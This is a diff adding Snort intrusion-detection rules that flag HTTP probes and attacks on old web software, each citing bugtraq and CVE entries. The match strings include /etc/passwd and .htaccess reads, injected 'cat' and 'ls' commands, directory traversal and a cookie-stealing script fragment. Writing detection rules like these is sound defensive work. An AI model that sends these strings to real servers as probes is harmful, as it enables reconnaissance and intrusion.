+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC WebDAV propfind access"; flow:to_server,established; content:"propfind"; nocase; pcre:"/<a\x3a\s*propfind.*?xmlns\x3a\s*a=[\x21\x22]?DAV[\x21\x22]?>/iR"; reference:bugtraq,1656; reference:cve,2000-0869; classtype:web-application-activity; sid:1079; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC unify eWave ServletExec upload"; flow:to_server,established; uricontent:"/servlet/com.unify.servletexec.UploadServlet"; nocase; reference:bugtraq,1868; reference:bugtraq,1876; reference:cve,2000-1024; reference:cve,2000-1025; reference:nessus,10570; classtype:web-application-attack; sid:1080; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Servers suite DOS"; flow:to_server,established; uricontent:"/dsgw/bin/search?context="; nocase; reference:bugtraq,1868; reference:cve,2000-1025; classtype:web-application-attack; sid:1081; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC amazon 1-click cookie theft"; flow:to_server,established; content:"ref%3Cscript%20language%3D%22Javascript"; nocase; reference:bugtraq,1194; reference:cve,2000-0439; classtype:web-application-attack; sid:1082; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC unify eWave ServletExec DOS"; flow:to_server,established; uricontent:"/servlet/ServletExec"; reference:bugtraq,1868; reference:cve,2000-1025; classtype:web-application-activity; sid:1083; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Allaire JRUN DOS attempt"; flow:to_server,established; uricontent:"servlet/......."; nocase; reference:bugtraq,2337; reference:cve,2000-1049; classtype:web-application-attack; sid:1084; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ICQ Webfront HTTP DOS"; flow:to_server,established; uricontent:"??????????"; reference:bugtraq,1463; reference:cve,2000-1078; classtype:web-application-attack; sid:1091; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Talentsoft Web+ Source Code view access"; flow:to_server,established; uricontent:"/webplus.exe?script=test.wml"; reference:bugtraq,1722; reference:url,archives.neohapsis.com/archives/ntbugtraq/2000-q3/0168.html; classtype:web-application-attack; sid:1095; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Talentsoft Web+ internal IP Address access"; flow:to_server,established; uricontent:"/webplus.exe?about"; reference:bugtraq,1720; reference:url,archives.neohapsis.com/archives/ntbugtraq/2000-q3/0168.html; classtype:web-application-activity; sid:1096; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC SmartWin CyberOffice Shopping Cart access"; flow:to_server,established; uricontent:"_private/shopping_cart.mdb"; reference:bugtraq,1734; reference:cve,2000-0925; classtype:web-application-attack; sid:1098; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cybercop scan"; flow:to_server,established; uricontent:"/cybercop"; nocase; reference:arachnids,374; classtype:web-application-activity; sid:1099; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC L3retriever HTTP Probe"; flow:to_server,established; content:"User-Agent|3A| Java1.2.1|0D 0A|"; reference:arachnids,310; classtype:web-application-activity; sid:1100; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Webtrends HTTP probe"; flow:to_server,established; content:"User-Agent|3A| Webtrends Security Analyzer|0D 0A|"; reference:arachnids,309; classtype:web-application-activity; sid:1101; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC nessus 1.X 404 probe"; flow:to_server,established; uricontent:"/nessus_is_probing_you_"; depth:32; reference:arachnids,301; classtype:web-application-attack; sid:1102; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC nessus 2.x 404 probe"; flow:to_server,established; uricontent:"/NessusTest"; nocase; reference:nessus,10386; classtype:attempted-recon; sid:2585; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape admin passwd"; flow:to_server,established; uricontent:"/admin-serv/config/admpw"; nocase; reference:bugtraq,1579; reference:nessus,10468; classtype:web-application-attack; sid:1103; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC BigBrother access"; flow:to_server,established; uricontent:"/bb-hostsvc.sh?HOSTSVC"; nocase; reference:bugtraq,1455; reference:cve,2000-0638; reference:nessus,10460; classtype:attempted-recon; sid:1105; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ftp.pl attempt"; flow:to_server,established; uricontent:"/ftp.pl?dir=../.."; nocase; reference:bugtraq,1471; reference:cve,2000-0674; reference:nessus,10467; classtype:web-application-attack; sid:1612; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ftp.pl access"; flow:to_server,established; uricontent:"/ftp.pl"; nocase; reference:bugtraq,1471; reference:cve,2000-0674; reference:nessus,10467; classtype:web-application-activity; sid:1107; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat server snoop access"; flow:to_server,established; uricontent:"/jsp/snp/"; uricontent:".snp"; reference:bugtraq,1532; reference:cve,2000-0760; classtype:attempted-recon; sid:1108; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ROXEN directory list attempt"; flow:to_server,established; uricontent:"/%00"; reference:bugtraq,1510; reference:cve,2000-0671; classtype:attempted-recon; sid:1109; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC apache source.asp file access"; flow:to_server,established; uricontent:"/site/eg/source.asp"; nocase; reference:bugtraq,1457; reference:cve,2000-0628; reference:nessus,10480; classtype:attempted-recon; sid:1110; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat server exploit access"; flow:to_server,established; uricontent:"/contextAdmin/contextAdmin.html"; nocase; reference:bugtraq,1548; reference:cve,2000-0672; reference:nessus,10477; classtype:attempted-recon; sid:1111; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC http directory traversal"; flow:to_server,established; content:"..|5C|"; reference:arachnids,298; classtype:attempted-recon; sid:1112; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ICQ webserver DOS"; flow:to_server,established; uricontent:".html/......"; nocase; reference:cve,1999-0474; reference:url,www.securiteam.com/exploits/2ZUQ1QAQOG.html; classtype:attempted-dos; sid:1115; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Lotus DelDoc attempt"; flow:to_server,established; uricontent:"?DeleteDocument"; nocase; classtype:attempted-recon; sid:1116; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Lotus EditDoc attempt"; flow:to_server,established; uricontent:"?EditDocument"; nocase; reference:url,www.securiteam.com/exploits/5NP080A1RE.html; classtype:attempted-recon; sid:1117; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ls%20-l"; flow:to_server,established; content:"ls%20-l"; nocase; classtype:attempted-recon; sid:1118; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC mlog.phtml access"; flow:to_server,established; uricontent:"/mlog.phtml"; nocase; reference:bugtraq,713; reference:cve,1999-0068; reference:cve,1999-0346; classtype:attempted-recon; sid:1119; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC mylog.phtml access"; flow:to_server,established; uricontent:"/mylog.phtml"; nocase; reference:bugtraq,713; reference:cve,1999-0068; reference:cve,1999-0346; classtype:attempted-recon; sid:1120; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /etc/passwd"; flow:to_server,established; content:"/etc/passwd"; nocase; classtype:attempted-recon; sid:1122; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ?PageServices access"; flow:to_server,established; uricontent:"?PageServices"; nocase; reference:bugtraq,1063; reference:bugtraq,7621; reference:cve,1999-0269; classtype:attempted-recon; sid:1123; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Ecommerce check.txt access"; flow:to_server,established; uricontent:"/config/check.txt"; nocase; classtype:attempted-recon; sid:1124; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC webcart access"; flow:to_server,established; uricontent:"/webcart/"; nocase; reference:cve,1999-0610; reference:nessus,10298; classtype:attempted-recon; sid:1125; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC AuthChangeUrl access"; flow:to_server,established; uricontent:"_AuthChangeUrl?"; nocase; reference:bugtraq,2110; reference:cve,1999-0407; classtype:attempted-recon; sid:1126; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC convert.bas access"; flow:to_server,established; uricontent:"/scripts/convert.bas"; nocase; reference:bugtraq,2025; reference:cve,1999-0175; classtype:attempted-recon; sid:1127; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cpshost.dll access"; flow:to_server,established; uricontent:"/scripts/cpshost.dll"; nocase; reference:bugtraq,1811; reference:bugtraq,4002; reference:cve,1999-0360; classtype:attempted-recon; sid:1128; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .htaccess access"; flow:to_server,established; uricontent:".htaccess"; nocase; classtype:attempted-recon; sid:1129; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .wwwacl access"; flow:to_server,established; uricontent:".wwwacl"; nocase; classtype:attempted-recon; sid:1130; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .wwwacl access"; flow:to_server,established; uricontent:".www_acl"; nocase; classtype:attempted-recon; sid:1131; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cd.."; flow:to_server,established; content:"cd.."; nocase; classtype:attempted-recon; sid:1136; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC guestbook.pl access"; flow:to_server,established; uricontent:"/guestbook.pl"; nocase; reference:arachnids,228; reference:bugtraq,776; reference:cve,1999-0237; reference:cve,1999-1053; reference:nessus,10099; classtype:attempted-recon; sid:1140; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC handler attempt"; flow:to_server,established; uricontent:"/handler"; uricontent:"|7C|"; nocase; reference:arachnids,235; reference:bugtraq,380; reference:cve,1999-0148; reference:nessus,10100; classtype:web-application-attack; sid:1613; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC handler access"; flow:to_server,established; uricontent:"/handler"; nocase; reference:arachnids,235; reference:bugtraq,380; reference:cve,1999-0148; reference:nessus,10100; classtype:web-application-activity; sid:1141; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /.... access"; flow:to_server,established; content:"/...."; classtype:attempted-recon; sid:1142; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ///cgi-bin access"; flow:to_server,established; uricontent:"///cgi-bin"; nocase; reference:nessus,11032; classtype:attempted-recon; sid:1143; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /cgi-bin/// access"; flow:to_server,established; uricontent:"/cgi-bin///"; nocase; reference:nessus,11032; classtype:attempted-recon; sid:1144; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /~root access"; flow:to_server,established; uricontent:"/~root"; nocase; classtype:attempted-recon; sid:1145; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /~ftp access"; flow:to_server,established; uricontent:"/~ftp"; nocase; classtype:attempted-recon; sid:1662; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Ecommerce import.txt access"; flow:to_server,established; uricontent:"/config/import.txt"; nocase; classtype:attempted-recon; sid:1146; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cat%20 access"; flow:to_server,established; content:"cat%20"; nocase; reference:bugtraq,374; reference:cve,1999-0039; classtype:attempted-recon; sid:1147; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Ecommerce import.txt access"; flow:to_server,established; uricontent:"/orders/import.txt"; nocase; classtype:attempted-recon; sid:1148; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino catalog.nsf access"; flow:to_server,established; uricontent:"/catalog.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1150; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino domcfg.nsf access"; flow:to_server,established; uricontent:"/domcfg.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1151; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino domlog.nsf access"; flow:to_server,established; uricontent:"/domlog.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1152; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino log.nsf access"; flow:to_server,established; uricontent:"/log.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1153; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino names.nsf access"; flow:to_server,established; uricontent:"/names.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1154; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino mab.nsf access"; flow:to_server,established; uricontent:"/mab.nsf"; nocase; reference:bugtraq,4022; reference:nessus,10953; classtype:attempted-recon; sid:1575; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino cersvr.nsf access"; flow:to_server,established; uricontent:"/cersvr.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1576; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino setup.nsf access"; flow:to_server,established; uricontent:"/setup.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1577; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino statrep.nsf access"; flow:to_server,established; uricontent:"/statrep.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1578; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino webadmin.nsf access"; flow:to_server,established; uricontent:"/webadmin.nsf"; nocase; reference:bugtraq,9900; reference:bugtraq,9901; reference:nessus,10629; classtype:attempted-recon; sid:1579; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino events4.nsf access"; flow:to_server,established; uricontent:"/events4.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1580; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino ntsync4.nsf access"; flow:to_server,established; uricontent:"/ntsync4.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1581; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino collect4.nsf access"; flow:to_server,established; uricontent:"/collect4.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1582; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino mailw46.nsf access"; flow:to_server,established; uricontent:"/mailw46.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1583; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino bookmark.nsf access"; flow:to_server,established; uricontent:"/bookmark.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1584; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino agentrunner.nsf access"; flow:to_server,established; uricontent:"/agentrunner.nsf"; nocase; reference:nessus,10629; classtype:attempted-recon; sid:1585; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Domino mail.box access"; flow:to_server,established; uricontent:"/mail.box"; nocase; reference:bugtraq,881; reference:nessus,10629; classtype:attempted-recon; sid:1586; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Ecommerce checks.txt access"; flow:to_server,established; uricontent:"/orders/checks.txt"; nocase; reference:bugtraq,2281; classtype:attempted-recon; sid:1155; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC apache directory disclosure attempt"; flow:to_server,established; content:"////////"; reference:bugtraq,2503; classtype:attempted-dos; sid:1156; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape PublishingXpert access"; flow:to_server,established; uricontent:"/PSUser/PSCOErrPage.htm"; nocase; reference:cve,2000-1196; reference:nessus,10364; classtype:web-application-activity; sid:1157; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC windmail.exe access"; flow:to_server,established; uricontent:"/windmail.exe"; nocase; reference:arachnids,465; reference:bugtraq,1073; reference:cve,2000-0242; reference:nessus,10365; classtype:attempted-recon; sid:1158; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC webplus access"; flow:to_server,established; uricontent:"/webplus?script"; nocase; reference:bugtraq,1174; reference:bugtraq,1720; reference:bugtraq,1722; reference:bugtraq,1725; reference:cve,2000-1005; classtype:attempted-recon; sid:1159; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape dir index wp"; flow:to_server,established; uricontent:"?wp-"; nocase; reference:arachnids,270; reference:bugtraq,1063; reference:cve,2000-0236; classtype:attempted-recon; sid:1160; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cart 32 AdminPwd access"; flow:to_server,established; uricontent:"/c32web.exe/ChangeAdminPassword"; nocase; reference:bugtraq,1153; reference:cve,2000-0429; classtype:attempted-recon; sid:1162; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC shopping cart access"; flow:to_server,established; uricontent:"/quikstore.cfg"; nocase; reference:bugtraq,1983; reference:bugtraq,2049; reference:cve,1999-0607; reference:cve,2000-1188; classtype:attempted-recon; sid:1164; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Novell Groupwise gwweb.exe attempt"; flow:to_server,established; uricontent:"/GWWEB.EXE?HELP="; nocase; reference:bugtraq,879; reference:cve,1999-1005; reference:cve,1999-1006; reference:nessus,10877; classtype:attempted-recon; sid:1614; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Novell Groupwise gwweb.exe access"; flow:to_server,established; content:"/GWWEB.EXE"; nocase; reference:bugtraq,879; reference:cve,1999-1005; reference:cve,1999-1006; reference:nessus,10877; classtype:attempted-recon; sid:1165; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ws_ftp.ini access"; flow:to_server,established; uricontent:"/ws_ftp.ini"; nocase; reference:bugtraq,547; reference:cve,1999-1078; classtype:attempted-recon; sid:1166; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC rpm_query access"; flow:to_server,established; uricontent:"/rpm_query"; nocase; reference:bugtraq,1036; reference:cve,2000-0192; reference:nessus,10340; classtype:attempted-recon; sid:1167; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC mall log order access"; flow:to_server,established; uricontent:"/mall_log_files/order.log"; nocase; reference:bugtraq,2266; reference:cve,1999-0606; classtype:attempted-recon; sid:1168; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC architext_query.pl access"; flow:to_server,established; uricontent:"/ews/architext_query.pl"; nocase; reference:bugtraq,2248; reference:cve,1999-0279; reference:nessus,10064; reference:url,www2.fedcirc.gov/alerts/advisories/1998/txt/fedcirc.98.03.txt; classtype:attempted-recon; sid:1173; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC wwwboard.pl access"; flow:to_server,established; uricontent:"/wwwboard.pl"; nocase; reference:bugtraq,1795; reference:bugtraq,649; reference:cve,1999-0930; reference:cve,1999-0954; classtype:attempted-recon; sid:1175; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-verify-link"; nocase; reference:bugtraq,1063; classtype:attempted-recon; sid:1177; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC get32.exe access"; flow:to_server,established; uricontent:"/get32.exe"; nocase; reference:arachnids,258; reference:bugtraq,1485; reference:bugtraq,770; reference:cve,1999-0885; reference:nessus,10011; classtype:attempted-recon; sid:1180; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Annex Terminal DOS attempt"; flow:to_server,established; uricontent:"/ping?query="; reference:arachnids,260; reference:cve,1999-1070; reference:nessus,10017; classtype:attempted-dos; sid:1181; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cgitest.exe attempt"; flow:to_server,established; uricontent:"/cgitest.exe|0D 0A|user"; nocase; reference:arachnids,265; reference:bugtraq,1313; reference:bugtraq,3885; reference:cve,2000-0521; reference:cve,2002-0128; reference:nessus,10040; reference:nessus,10623; classtype:web-application-attack; sid:1182; rev:17;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cgitest.exe access"; flow:to_server,established; uricontent:"/cgitest.exe"; nocase; reference:arachnids,265; reference:bugtraq,1313; reference:bugtraq,3885; reference:cve,2000-0521; reference:cve,2002-0128; reference:nessus,10040; reference:nessus,10623; reference:nessus,11131; classtype:web-application-activity; sid:1587; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-cs-dump"; nocase; reference:bugtraq,1063; reference:cve,2000-0236; reference:nessus,10352; classtype:attempted-recon; sid:1183; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-ver-info"; nocase; reference:bugtraq,1063; reference:cve,2000-0236; classtype:attempted-recon; sid:1184; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-ver-diff"; nocase; reference:bugtraq,1063; reference:cve,2000-0236; classtype:attempted-recon; sid:1186; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC SalesLogix Eviewer web command attempt"; flow:to_server,established; uricontent:"/slxweb.dll/admin?command="; nocase; reference:bugtraq,1078; reference:bugtraq,1089; reference:cve,2000-0278; reference:cve,2000-0289; classtype:web-application-attack; sid:1187; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC SalesLogix Eviewer access"; flow:to_server,established; uricontent:"/slxweb.dll"; nocase; reference:bugtraq,1078; reference:bugtraq,1089; reference:cve,2000-0278; reference:cve,2000-0289; classtype:web-application-activity; sid:1588; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-start-ver"; nocase; reference:bugtraq,1063; reference:cve,2000-0236; classtype:attempted-recon; sid:1188; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-stop-ver"; nocase; reference:bugtraq,1063; reference:cve,2000-0236; classtype:attempted-recon; sid:1189; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-uncheckout"; nocase; reference:bugtraq,1063; reference:cve,2000-0236; classtype:attempted-recon; sid:1190; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-html-rend"; nocase; reference:bugtraq,1063; reference:cve,2000-0236; classtype:attempted-recon; sid:1191; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Trend Micro OfficeScan attempt"; flow:to_server,established; uricontent:"/officescan/cgi/jdkRqNotify.exe?"; nocase; uricontent:"domain="; nocase; uricontent:"event="; nocase; reference:bugtraq,1057; classtype:attempted-recon; sid:1381; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Trend Micro OfficeScan access"; flow:to_server,established; uricontent:"/officescan/cgi/jdkRqNotify.exe"; nocase; reference:bugtraq,1057; classtype:attempted-recon; sid:1192; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC oracle web arbitrary command execution attempt"; flow:to_server,established; uricontent:"/ows-bin/"; nocase; uricontent:"?&"; reference:bugtraq,1053; reference:cve,2000-0169; reference:nessus,10348; classtype:web-application-attack; sid:1193; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC oracle web application server access"; flow:to_server,established; uricontent:"/ows-bin/"; nocase; reference:bugtraq,1053; reference:cve,2000-0169; reference:nessus,10348; classtype:web-application-activity; sid:1880; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Netscape Enterprise Server directory view"; flow:to_server,established; uricontent:"?wp-usr-prop"; nocase; reference:bugtraq,1063; reference:cve,2000-0236; classtype:web-application-attack; sid:1198; rev:8;)
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC search.vts access"; flow:to_server,established; uricontent:"/search.vts"; reference:bugtraq,162; classtype:attempted-recon; sid:1202; rev:7;)
